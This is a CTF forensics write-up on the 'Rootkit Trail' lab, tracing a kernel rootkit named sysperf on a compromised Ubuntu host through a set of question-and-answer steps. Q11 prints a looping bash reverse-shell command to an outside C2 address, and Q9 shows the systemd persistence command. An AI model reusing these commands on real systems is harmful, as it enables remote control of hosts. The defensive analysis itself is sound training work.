CyberDefender — Rootkit Trail Writeup
Scenario
Following the network intrusion, the attacker successfully escaped from the container to the underlying Linux host system. After killing the packet capture process, the attacker uploaded malicious files, installed a kernel level rootkit, and carefully removed all installation artifacts before disconnecting.
Days later, the compromised server exhibited suspicious behavior — hidden processes, unexplained network connections, and system instability. A complete forensic collection was performed on the live system to investigate the extent of the compromise and identify the attacker’s persistence mechanisms.
Q1: What is the exact kernel version of the compromised Ubuntu server?
All the result of UAC can be found in folder “live_repsonse”.
For this question, kernel’s information are shown in “System” folder.
Answer: 5.4.0–216-generic
Q2: What is the hostname of the compromised system?
Answer: wowza
Q3: What is the current kernel taint value at the time of collection?
This information could be found in “cat_proc_sys_kernel_tainted.txt”
Answer: 12288
Q4: A malicious kernel module was loaded on the compromised machine. What is the name of this module?
Using file “modules_tainting_the_kernel_dmesg.txt”, we can identify the name of the module and when it was loaded.
Answer: sysperf
Q5: At what dmesg timestamp was the rootkit module first loaded? (seconds.microseconds)
As said, using file “modules_tainting_the_kernel_dmesg.txt”, we can identify when it was loaded.
Answer: 9127.292300
Q6: What is the absolute UTC timestamp when the rootkit was loaded? Convert the dmesg timestamp accordingly.
Absolute time = Boot time + dmesg timestamp
Using the formula above, we have:
Boot time: 20:59
Get Bao Phamle’s stories in your inbox
Join Medium for free to get updates from this writer.
dmesg timestamp: 9127.292300 <=> 2:32:07
Absolute time = Boot time + dmesg timestamp = 20:59 + 2:32
Answer: 2025–11–24 23:31
Q7: What C2 server IP address and port are configured in the rootkit?
We use “strings” to exfilstrate the content of the rootkit, receive malicous code:
Port doesn’t appear here. Therefore, we dump file to find the port which is now hidden.
Hex value: ba 0f 27 00 00=> mov edx, 0x270f, which match the %d.
Answer: 185.220.101.50:9999
Q8: The threat actor created a systemd service to maintain persistence on the compromised machine. What is the full path to this service file?
Systemd is the Linux component that:
- Starts services at boot
- Keeps services running
A service file tells the system: “Start this thing automatically.” .. So if malware has a systemd service:
- Reboot ❌ does NOT remove it
- The malware comes back every time
That’s persistence.
Answer: /etc/systemd/system/sysperf.service
Q9: The systemd service file specifies a command to run upon startup. What is the exact command configured in this service file?
Open the service file, we have the answer:
Answer: /sbin/insmod /lib/modules/sysperf.ko
Q10: The systemd service persistence results in a root-owned process that maintains a reverse shell loop. What is the PID of this process?
Look-up in the proc file, we notice a process with malicious behavior that contains connection to the C2 IP.
Answer: 39303
Q11: The rootkit maintains persistence through a reverse shell connection. What is the full command line of this persistent reverse shell?
Answer: while true; do bash -i >& /dev/tcp/185.220.101.50/9999 0>&1; sleep 30; done
Q12: What is the SHA256 hash of the rootkit kernel module?
Command: sha256sump sysperf.ko
